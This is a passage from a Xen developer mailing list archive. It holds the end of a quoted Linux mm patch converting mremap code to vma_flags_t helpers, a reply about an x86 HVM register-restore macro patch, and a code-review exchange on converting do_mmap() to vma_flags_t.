> 		/* We are about to split vma, so store the start/end. */
> 		vm_start = vma->vm_start;
> 		vm_end = vma->vm_end;
>@@ -1211,8 +1211,8 @@ static void unmap_source_vma(struct vma_remap_struct *vrm)
> 	 * |             |
> 	 * |-------------|
> 	 *
>-	 * Having cleared VM_ACCOUNT from the whole VMA, after we unmap above
>-	 * we'll end up with:
>+	 * Having cleared VMA_ACCOUNT_BIT from the whole VMA, after we unmap
>+	 * above we'll end up with:
> 	 *
> 	 *    addr  end
> 	 *     |     |
>@@ -1232,13 +1232,15 @@ static void unmap_source_vma(struct vma_remap_struct *vrm)
> 		if (vm_start < addr) {
> 			struct vm_area_struct *prev = vma_prev(&vmi);
> 
>-			vm_flags_set(prev, VM_ACCOUNT); /* Acquires VMA lock. */
>+			vma_start_write(prev);
>+			vma_set_flags(prev, VMA_ACCOUNT_BIT);
> 		}
> 
> 		if (vm_end > end) {
> 			struct vm_area_struct *next = vma_next(&vmi);
> 
>-			vm_flags_set(next, VM_ACCOUNT); /* Acquires VMA lock. */
>+			vma_start_write(next);
>+			vma_set_flags(next, VMA_ACCOUNT_BIT);
> 		}
> 	}
> }
>@@ -1321,8 +1323,8 @@ static void dontunmap_complete(struct vma_remap_struct *vrm,
> 	unsigned long old_start = vrm->vma->vm_start;
> 	unsigned long old_end = vrm->vma->vm_end;
> 
>-	/* We always clear VM_LOCKED[ONFAULT] on the old VMA. */
>-	vm_flags_clear(vrm->vma, VM_LOCKED_MASK);
>+	/* We always clear VMA_LOCKED[ONFAULT]_BIT on the old VMA. */
>+	vma_clear_flags_mask(vrm->vma, VMA_LOCKED_MASK);
> 
> 	/*
> 	 * anon_vma links of the old vma is no longer needed after its page
>@@ -1758,14 +1760,14 @@ static int check_prep_vma(struct vma_remap_struct *vrm)
> 	 * based on the original.  There are no known use cases for this
> 	 * behavior.  As a result, fail such attempts.
> 	 */
>-	if (!old_len && !(vma->vm_flags & (VM_SHARED | VM_MAYSHARE))) {
>+	if (!old_len && !vma_test_any(vma, VMA_SHARED_BIT, VMA_MAYSHARE_BIT)) {
> 		pr_warn_once("%s (%d): attempted to duplicate a private mapping with mremap.  This is not supported.\n",
> 			     current->comm, current->pid);
> 		return -EINVAL;
> 	}
> 
> 	if ((vrm->flags & MREMAP_DONTUNMAP) &&
>-			(vma->vm_flags & (VM_DONTEXPAND | VM_PFNMAP)))
>+	    vma_test_any(vma, VMA_DONTEXPAND_BIT, VMA_PFNMAP_BIT))
> 		return -EINVAL;
> 
> 	/*
>@@ -1795,7 +1797,7 @@ static int check_prep_vma(struct vma_remap_struct *vrm)
> 		return 0;
> 
> 	/* We are expanding and the VMA is mlock()'d so we need to populate. */
>-	if (vma->vm_flags & VM_LOCKED)
>+	if (vma_test(vma, VMA_LOCKED_BIT))
> 		vrm->populate_expand = true;
> 
> 	/* Need to be careful about a growing mapping */
>@@ -1803,10 +1805,10 @@ static int check_prep_vma(struct vma_remap_struct *vrm)
> 	if (pgoff + (new_len >> PAGE_SHIFT) < pgoff)
> 		return -EINVAL;
> 
>-	if (vma->vm_flags & (VM_DONTEXPAND | VM_PFNMAP))
>+	if (vma_test_any(vma, VMA_DONTEXPAND_BIT, VMA_PFNMAP_BIT))
> 		return -EFAULT;
> 
>-	if (!mlock_future_ok(mm, vma->vm_flags & VM_LOCKED, vrm->delta))
>+	if (!mlock_future_ok(mm, vma_test(vma, VMA_LOCKED_BIT), vrm->delta))
> 		return -EAGAIN;
> 
> 	if (!may_expand_vm(mm, &vma->flags, vrm->delta >> PAGE_SHIFT))
>-- 
>2.54.0
>
>


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 14:09:07 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 14:09:07 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351930.1608924 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfI68-0002Ay-8E; Thu, 02 Jul 2026 14:09:00 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351930.1608924; Thu, 02 Jul 2026 14:09:00 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfI68-0002Ar-5G; Thu, 02 Jul 2026 14:09:00 +0000
Received: by outflank-mailman (input) for mailman id 1351930;
 Thu, 02 Jul 2026 14:08:59 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wfI66-0002Al-Pw
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 14:08:59 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfI66-00EvtM-0T
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 16:08:58 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a4670f6-e002-0a2a0a5209dd-0a2a45059590-4
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 16:08:57 +0200
Received: from [52.101.43.32]
 (helo=SJ2PR03CU001.outbound.protection.outlook.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a4670f7-3cb2-0a2a45050019-34652b205362-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 16:08:57 +0200
Received: from IA1PR03MB8288.namprd03.prod.outlook.com (2603:10b6:208:59e::6)
 by CH3PR03MB7508.namprd03.prod.outlook.com (2603:10b6:610:19c::20)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.10; Thu, 2 Jul
 2026 14:08:49 +0000
Received: from IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599]) by IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599%3]) with mapi id 15.21.0159.018; Thu, 2 Jul 2026
 14:08:49 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=mY86+0PeAFLHOpNwnQRFu5CYuTNmSOfF3u+9/uCH+QTVZLbpODfVjfC5vffcf80RDD5xBeLZwp6cLJUmpIIuPVboOyu0MM3O51k23reyPBRP5xnMqdhimdlTvPsUljzpeepfg+P1rYEc13umvOOXs9RF59CXPSZoWE3bheA1o83wgKONUu82q33wV4K9ZpWAcesr6Uag6aziYuijpzIyikyL+DL2TNkTqwuCkmG+/wnZI6OKyfWYTLFijQYt1Y2GKYs0Vw19VkBmUsi4j+05cVzvVoVQwmXpnvFmIp41mL753/zQ70m30UsZOSFmaDqzG2uSNF6/SO+B8/VSzkMiZw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=ofN1ll3EDoK8dYwj/6OEn+2jPQWTZas/sO08x1VmQLY=;
 b=hHfvaShjYm0HMSG/3OsGBTeZ4UUirYcjJ7FyzQBonL5BB20MG29bV+vAtJyJLMYCqgIKQXygwGwCiFBjl9Zs/IqjZxfOrugsusvwk5zjOto2QEKB2ANozvlJ33JYnfXiQNEcMADvZ2WkKD/NcH6N6Rui/3u6ninIBe8bF72CvL6C5mGnOFJuYNAEckJQKsdB7V32EW2LmfAqczdB59WEXeYZhGJ5upvXwhLAff+apSR5NCI86Hk86sHhtvGT0oKUSa2iS5orvWVlStHWpBwDL9NLbDlYSlaJFT9YGxtOivtVzluKjJ2txg8lXE9mgjS89VKcvcCHWjj2SNJwVBhm0g==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=ofN1ll3EDoK8dYwj/6OEn+2jPQWTZas/sO08x1VmQLY=;
 b=yyLLAy9uj/hgOTxpJ+VlFGV518V1A/OlhQiSdlmOool1EPpLpHVP60NSyhrKOq1EQlD28Lc5RDRTU3G2L/JwEelnsGUL3LlfgvYHYzFiAW06okNK08FJNlbCcSMMIG/6beGx0iG/l6ERDQcmj738tIlJFpgLqz1ygYKHkKWKmzY=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <012d7d69-39c6-4e46-a817-83d57169f323@citrix.com>
Date: Thu, 2 Jul 2026 15:08:46 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Wei Liu <wl@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Subject: Re: [PATCH v3 1/4] x86/HVM: don't (almost) open-code POP_GPRS
To: Jan Beulich <jbeulich@suse.com>
References: <7ba5ecff-af64-49c0-abf9-23963ca56aa6@suse.com>
 <a89951cb-43c0-45bd-aba1-273cd053deae@suse.com>
 <6065311f-15b3-403e-b39c-f9652f0513ff@citrix.com>
 <20836109-fadf-4ad4-ad9e-9fa44883716a@suse.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14Ifw2kq5OIVu2FuX+3i446JOa2vpCI9GcjCzi3oHV
 e00bzYiHMIl0FICrNJU0Kjho8pdo0m2uxkn6SYEpogAy9pnatUlO+erL4LqFUO7GXSdBRbw5
 gNt25XTLdSFuZtMxkY3tq8MFss5QnjhehCVPE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yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <20836109-fadf-4ad4-ad9e-9fa44883716a@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-ClientProxiedBy: LO4P265CA0119.GBRP265.PROD.OUTLOOK.COM
 (2603:10a6:600:2c6::6) To IA1PR03MB8288.namprd03.prod.outlook.com
 (2603:10b6:208:59e::6)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA1PR03MB8288:EE_|CH3PR03MB7508:EE_
X-MS-Office365-Filtering-Correlation-Id: 0a29e7da-cd13-4e55-8eed-08ded8437041
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|23010399003|1800799024|366016|11063799006|56012099006|4143699003|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	6jRGnI3c1N3XNNJcqRxIQoXenReal/+d2tK6D8QyVZLkqZ8OyXZvCOyphfXE2Sx8ZPHtL9GbVj5y8Ek6dAsAlKwK3EBmpi38dv6fAuNXCTQDKtuSVXw2WWR6XVBCrH35vBnfC40vl0hwhuEBg/0BHBaIZWjpE9uOkC2s/cHOI2IzlCTRs9a42EJVn7m4+KRG7htURkYe8bzVsWZn7s984cLtUUuIm7Ng+OZHojxD8F9KTgMONyNNUNpWrfrNlrw6yNnULPmgP69rXW7cilGhNiwbiPBT0aKXko+nClzbk6d2upOzocLkppA1xOmG+Dzjw3tf0jP+YtmI+zhYx15p1cHIaC22nZlsvEfyjNDx1glCmobrNSxFS7MAA+lokonnA3eAkryG2HtgJ+oCf33qrccalyT5JbkQW0Ll9PdbRJSKEg5CWcZ01yukBCo63fKQ1dCu4CQ+vvsFn+k+/Og4KF5RpBZWR+BoTeTNtftHGMeA8ijlidc9G5FuZwKqFFofcIpPG4zuxGSPSlwCRXa61lVsprR6ylvYke08IoGdtnIkkXACTN/DaVTTiiZOxnVvqeGn8l73lCrB/A0TZDnAFt6hb1ZJtm0TeJVj/DA87LjUeVar9vyTAmsJ6a0vEKa0ElMmBiGLdnu9f7Lid60H1flOcZTcjOzMxjpFm1BIP7w=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA1PR03MB8288.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(23010399003)(1800799024)(366016)(11063799006)(56012099006)(4143699003)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?ZTRrdFpWajFQNWp2R3Nuc0hnOUhVVVNCdFhZU25LOExiMDdWV1RvNGo0cTVi?=
 =?utf-8?B?bEk2WWVqaFpqcW1PNHNLcjgrQ2w0VE1vdkNIMEQ5WVJLL2hjbS9RR1gvNGl3?=
 =?utf-8?B?L256Mm5MYkJMcjBGTFY1RklpcTU4YVgzQVk0YjVJSkR1ajY2dEQ0TmsxclF3?=
 =?utf-8?B?RU9YSjE2QjVZQUZqek40VytkYjF1TDdZTWZoMHY4TmFEVTRkQlhlNUZDTC9n?=
 =?utf-8?B?VkJ1a05FaGIyRjF4NUFBR3Jqd1Azb0VCV2g1eU11VTAwM0doWklxc1ZOcTgx?=
 =?utf-8?B?M0lNWWhveUJzZUFaa3BOejF6VnhRTVdrYndkSkt6bFNjTXR1TDIyanhhb3Qv?=
 =?utf-8?B?OS8yUENYb0hERSsxL3M0ZkhZTEN4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kY3hmN0x1U0R6N0dxM084TzlHQ2dOUjRPZllYY3JqK1NaVFdR?=
 =?utf-8?B?VjVsakwzK25YSXRlamZtRW9MNFdRWnBNK2tuaS9CRGJUamlLc2R5UjdybWwz?=
 =?utf-8?B?aVpzZDRaVDgwVjNXNXUxUGtQRXNoTy9sOHRsYzVMTVZZbCtaaGlBRExMOFJo?=
 =?utf-8?B?UHQ2ZWJTM1BxV0daZ3RDOFBYQlRrcEptaVVvZGl0di9tMjZCMW9Idz09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 0a29e7da-cd13-4e55-8eed-08ded8437041
X-MS-Exchange-CrossTenant-AuthSource: IA1PR03MB8288.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 02 Jul 2026 14:08:49.1651
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: 9vC5euabcpXtDB/XJ4XiVgO78RaKsdv+VofFfE3tvLJwdKSReJZf87gBWCTFkpl8qv6YvjMoaOHIir0l0ER6SAkaim5Zhl4lh4uPDcOGhU8=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CH3PR03MB7508
X-purgate-ID: tlsNG-c201ff/1783001337-0DD0E2B8-2014AD2A/0/0
X-purgate-type: clean
X-purgate-size: 1453

On 02/07/2026 2:18 pm, Jan Beulich wrote:
> On 02.07.2026 13:31, Andrew Cooper wrote:
>> On 02/07/2026 11:55 am, Jan Beulich wrote:
>>> It can be used as-is for VMX. For SVM the special treatment of %rax needs
>>> accounting for.
>>>
>>> Signed-off-by: Jan Beulich <jbeulich@suse.com>
>>> ---
>>> This is the minimum required as a prereq to the next patch (to avoid the
>>> need for custom adjustments in the two places). We could go further and
>>> switch to using PUSH_AND_CLEAR_GPRS at the same time.
>> I've got several part-series that result in purging SAVE_ALL/RESTORE_ALL.
>>
>> If you want to put this patch in, then Acked-by: Andrew Cooper
>> <andrew.cooper3@citrix.com>
> Thanks. Yes, I think I'll put it in as one small piece in the move.
>
>> but I firmly want to finish my series before
>> patch 2 adds yet-more complexity to macros which I'm wanting to remove
>> for being too complicated already.
> Well, if you make this a strict prereq, then I might as well make one or
> more patches myself to replace at least the SAVE_ALL the next patch needs
> to fiddle with. Or else I'd like to understand when you expect your work
> to arrive, as this series imo is one of those which have already been
> blocked for far too long.

Get this patch committed, which will resolve the skip_rax issue holding
up my last attempt to make progress here.

I'll then rebase and try to collect everything together.

~Andrew


From xen-devel-bounces@lists.xenproject.org Thu Jul 02 14:17:08 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 14:17:08 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1351940.1608932 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfIDh-0003sQ-Ui; Thu, 02 Jul 2026 14:16:49 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1351940.1608932; Thu, 02 Jul 2026 14:16:49 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfIDh-0003sJ-Rt; Thu, 02 Jul 2026 14:16:49 +0000
Received: by outflank-mailman (input) for mailman id 1351940;
 Thu, 02 Jul 2026 14:16:48 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ljs@kernel.org>) id 1wfIDg-0003sD-DO
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 14:16:48 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfIDf-00EGRZ-Ll
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 16:16:47 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ljs@kernel.org>)
 id 6a4672ce-e002-0a2a0a5209dd-0a2a4502a132-2
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 16:16:47 +0200
Received: from [172.234.252.31] (helo=sea.source.kernel.org)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ljs@kernel.org>)
 id 6a4672cd-5a27-0a2a45020019-aceafc1f9362-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 16:16:46 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by sea.source.kernel.org (Postfix) with ESMTP id 1F28543249;
 Thu,  2 Jul 2026 14:16:44 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id B77881F00A3A;
 Thu,  2 Jul 2026 14:16:27 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:From:To:Cc:Subject:References:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1783001804;
	bh=vcXV/OFRF3o5nc90hy/rNYztoQp19dfE8boUb7skCPA=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To;
	b=nBuFO4OKuZkx4g9lHIILMu0GcvZdBu9Hnc71+r10+sQ+KcL0n3xj7kUQucOnqcAk3
	 AkoJXlYf1oNjG50cQd8gf2TOHQhPraHIQjZt480Xg/htWdV6q91LBwFijLRn3TQOuu
	 DUzRy0MHOPnAYLdnUDmlOOE6s8dMsOCBWennldGjml9Hl6vq1cQQi9Nbr1EERzrjN/
	 Lkc41jqy6VqEbMgqwe1omDOJT4iOl7aycvqDHrKI8KUC4jXNXsDmIx9h9ZJsJesofT
	 OviVXSDvnQJkEiSWSZwtp7bcBRhTwnjivbJlK0EsZWjLSEUjELxUeBndnhMBbTL5bE
	 /U9iv5KrQkB8g==
Date: Thu, 2 Jul 2026 15:16:20 +0100
From: Lorenzo Stoakes <ljs@kernel.org>
To: Lance Yang <lance.yang@linux.dev>
Cc: akpm@linux-foundation.org, tsbogend@alpha.franken.de, 
	maddy@linux.ibm.com, mpe@ellerman.id.au, maarten.lankhorst@linux.intel.com, 
	mripard@kernel.org, tzimmermann@suse.de, airlied@gmail.com, simona@ffwll.ch, 
	l.stach@pengutronix.de, inki.dae@samsung.com, sw0312.kim@samsung.com, 
	kyungmin.park@samsung.com, krzk@kernel.org, peter.griffin@linaro.org, 
	jani.nikula@linux.intel.com, joonas.lahtinen@linux.intel.com, rodrigo.vivi@intel.com, 
	tursulin@ursulin.net, robin.clark@oss.qualcomm.com, lumag@kernel.org, lyude@redhat.com, 
	dakr@kernel.org, tomi.valkeinen@ideasonboard.com, hjc@rock-chips.com, 
	heiko@sntech.de, andy.yan@rock-chips.com, thierry.reding@kernel.org, 
	mperttunen@nvidia.com, jonathanh@nvidia.com, kraxel@redhat.com, 
	dmitry.osipenko@collabora.com, zack.rusin@broadcom.com, matthew.brost@intel.com, 
	thomas.hellstrom@linux.intel.com, oleksandr_andrushchenko@epam.com, deller@gmx.de, bcrl@kvack.org, 
	viro@zeniv.linux.org.uk, brauner@kernel.org, muchun.song@linux.dev, osalvador@suse.de, 
	david@kernel.org, ziy@nvidia.com, baolin.wang@linux.alibaba.com, 
	liam@infradead.org, npache@redhat.com, ryan.roberts@arm.com, dev.jain@arm.com, 
	baohua@kernel.org, hughd@google.com, vbabka@kernel.org, rppt@kernel.org, 
	surenb@google.com, mhocko@suse.com, jannh@google.com, pfalcato@suse.de, 
	kees@kernel.org, perex@perex.cz, tiwai@suse.com, linux-mips@vger.kernel.org, 
	linux-kernel@vger.kernel.org, linuxppc-dev@lists.ozlabs.org, dri-devel@lists.freedesktop.org, 
	etnaviv@lists.freedesktop.org, linux-arm-kernel@lists.infradead.org, 
	linux-samsung-soc@vger.kernel.org, intel-gfx@lists.freedesktop.org, linux-arm-msm@vger.kernel.org, 
	freedreno@lists.freedesktop.org, nouveau@lists.freedesktop.org, 
	linux-rockchip@lists.infradead.org, linux-tegra@vger.kernel.org, virtualization@lists.linux.dev, 
	intel-xe@lists.freedesktop.org, xen-devel@lists.xenproject.org, linux-fbdev@vger.kernel.org, 
	linux-aio@kvack.org, linux-fsdevel@vger.kernel.org, linux-mm@kvack.org, 
	linux-sound@vger.kernel.org
Subject: Re: [PATCH 02/13] mm/vma: update do_mmap() to use vma_flags_t
Message-ID: <akZwsS-_cywsXSjL@lucifer>
References: <e0ac58ad2b88ff7e2f0024e3286b2e786f79ca32.1782760670.git.ljs@kernel.org>
 <20260702111531.64883-1-lance.yang@linux.dev>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <20260702111531.64883-1-lance.yang@linux.dev>
X-purgate-ID: tlsNG-720697/1783001807-55AE07C5-610C3D44/0/0
X-purgate-type: clean
X-purgate-size: 4381

On Thu, Jul 02, 2026 at 07:15:31PM +0800, Lance Yang wrote:
>
> On Mon, Jun 29, 2026 at 08:25:25PM +0100, Lorenzo Stoakes wrote:
> >The core do_mmap() function accepts a vm_flags_t parameter which it then
> >manipulates before passing to mmap_region() to do the heavy lifting of the
> >memory mapping.
> >
> >Update do_mmap() to instead accept a vma_flags_t parameter, and adjust all
> >the logic within do_mmap() to manipulate this instead.
> >
> >This is as part of the ongoing effort to convert VMA flags from a system
> >word size to a bitmap type which allows us to unrestrict the number of VMA
> >flags, as well as gain control over how VMA flag manipulation occurs.
> >
> >We do not cascade these changes to all functions which accept vm_flags_t,
> >but rather use vma_flags_to_legacy() where necessary, specifically
> >deferring converting calc_vm_prot_bits(), calc_vm_flag_bits() and
> >__get_unmapped_area() to vma_flags_t.
> >
> >Also utilise the new vma_flags_can_grow() predicate which correctly handles
> >the case of architectures without upward growing stacks.
> >
> >As part of this change, introduce VMA_SHADOW_STACK so we can correctly
> >handle the case of the shadow stack not being defined.
> >
> >No functional change intended.
> >
> >Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
> >---
>
> Not exactly a small one :) I stared at this patch for a while, hopefully
> don't miss anythig ...

Yeah sorry maybe I could have broken this down more!

>
> Just one tiny nit below. Overall, LGTM, feel free to add:
>
> Reviewed-by: Lance Yang <lance.yang@linux.dev>

Thanks!

>
> [...]
> >diff --git a/mm/mmap.c b/mm/mmap.c
> >index 46174e706bbe..547352183214 100644
> >--- a/mm/mmap.c
> >+++ b/mm/mmap.c
> [...]
> >@@ -488,23 +496,27 @@ unsigned long do_mmap(struct file *file, unsigned long addr,
> > 		 * Check to see if we are violating any seals and update VMA
> > 		 * flags if necessary to avoid future seal violations.
> > 		 */
> >-		err = memfd_check_seals_mmap(file, &vm_flags);
> >+		err = memfd_check_seals_mmap(file, &vma_flags);
> > 		if (err)
> > 			return (unsigned long)err;
> > 	} else {
> > 		switch (flags & MAP_TYPE) {
> > 		case MAP_SHARED:
> >-			if (vm_flags & (VM_GROWSDOWN|VM_GROWSUP))
> >+			if (vma_flags_can_grow(&vma_flags))
> > 				return -EINVAL;
> > 			/*
> > 			 * Ignore pgoff.
> > 			 */
> > 			pgoff = 0;
> >-			vm_flags |= VM_SHARED | VM_MAYSHARE;
> >+			vma_flags_set(&vma_flags, VMA_SHARED_BIT, VMA_MAYSHARE_BIT);
> > 			break;
> >-		case MAP_DROPPABLE:
> >-			if (VM_DROPPABLE == VM_NONE)
> >+		case MAP_DROPPABLE: {
> >+			vma_flags_t droppable = VMA_DROPPABLE;
> >+
> >+			if (vma_flags_empty(&droppable))
> > 				return -EOPNOTSUPP;
> >+			vma_flags_set_mask(&vma_flags, droppable);
> >+
> > 			/*
> > 			 * A locked or stack area makes no sense to be droppable.
> > 			 *
> >@@ -515,23 +527,24 @@ unsigned long do_mmap(struct file *file, unsigned long addr,
> > 			 */
> > 			if (flags & (MAP_LOCKED | MAP_HUGETLB))
> > 			        return -EINVAL;
> >-			if (vm_flags & (VM_GROWSDOWN | VM_GROWSUP))
> >+			if (vma_flags_can_grow(&vma_flags))
> > 			        return -EINVAL;
> >
> >-			vm_flags |= VM_DROPPABLE;
>
> Old code checked VM_GROWSDOWN|VM_GROWSUP before seting VM_DROPPABLE. New
> code flips that around. Hmm, shouldn't master, just made me look twice ;)
>
> Maybe keep old order?

I guess I feared that defining droppable above then referencing it below would
be less clear?

Can move if you feel strongly about it, and sorry for making the move at the
same time as the general vm_flags_t -> vma_flags_t refactor as it does make that
less clear...

>
> Cheers, Lance
>
> >-
> > 			/*
> > 			 * If the pages can be dropped, then it doesn't make
> > 			 * sense to reserve them.
> > 			 */
> >-			vm_flags |= VM_NORESERVE;
